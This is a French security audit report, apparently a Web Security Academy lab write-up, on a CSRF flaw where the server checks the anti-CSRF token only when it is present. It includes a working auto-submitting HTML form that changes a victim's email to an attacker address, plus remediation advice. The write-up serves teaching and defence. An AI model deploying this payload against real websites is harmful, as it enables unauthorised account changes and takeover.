

Rapport d'Audit de Sécurité

1. Résumé Exécutif

Cible :	Laboratoire : CSRF où la validation du jeton dépend de sa présence
Vulnérabilité :	Défaut logique de validation : le jeton anti-CSRF est vérifié s'il est présent, mais la vérification est ignorée s'il est totalement omis de la requête.
Niveau de Risque :	ÉLEVÉ (HIGH)
Impact :	Exécution d'une attaque CSRF classique en supprimant simplement le paramètre de sécurité du formulaire malveillant.

2. Description de la Vulnérabilité

L'application tente de se protéger contre les attaques CSRF en associant un paramètre secret (`csrf`) aux formulaires de modification de données sensibles. Cependant, l'implémentation backend présente une faille conceptuelle critique : le serveur analyse la présence du paramètre de jeton et applique la vérification cryptographique uniquement si celui-ci est fourni.

Si le paramètre est totalement absent de la requête entrante, le serveur conclut par erreur que le jeton n'est pas requis ou que la requête provient d'un contexte de confiance non sécurisé par jeton, validant ainsi l'opération. Un attaquant peut donc concevoir un payload CSRF omettant volontairement le paramètre `csrf` pour neutraliser la protection.

3. Preuve de Concept (PoC) & Étapes de Réalisation

- Étape 1 - Analyse Repeater : Observation du rejet de la requête POST lorsque le jeton `csrf` est altéré.
- Étape 2 - Test d'omission : Suppression complète du paramètre `csrf` dans Burp Repeater. Constat que le serveur accepte la requête et valide la modification de l'e-mail.

Étape 3 - Rédaction du payload d'exploitation (Formulaire sans jeton) :

```
<form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email" >
  <input type="hidden" name="email" value="attacker-missing-token@exploit-server.net">
</form>
<script>
  document.forms[0].submit();
</script>
```

Étape 4 - Hébergement et Livraison : Publication du code sur l'Exploit Server et transmission du lien piégé au bot de la victime pour valider l'exploitation.

4. Recommandations de Remédiation

- **Validation systématique et obligatoire :** S'assurer que le jeton anti-CSRF est exigé et validé pour 100% des requêtes modifiant l'état du compte, sans condition liée à sa présence optionnelle.
- **Architecture de sécurité centralisée :** Utiliser des frameworks ou des intergiciels (*middlewares*) de sécurité robustes qui rejettent par défaut toute requête critique dépourvue de jeton valide.
- **Contrôle strict des cookies :** Associer l'utilisation des jetons à des politiques de cookies strictes (`SameSite`).

5. Conclusion

Ce laboratoire illustre qu'une protection anti-CSRF conditionnelle (qui désactive son contrôle en cas d'absence du paramètre) équivaut à une absence totale de défense. Une vérification inconditionnelle est impérative pour garantir l'intégrité des applications web.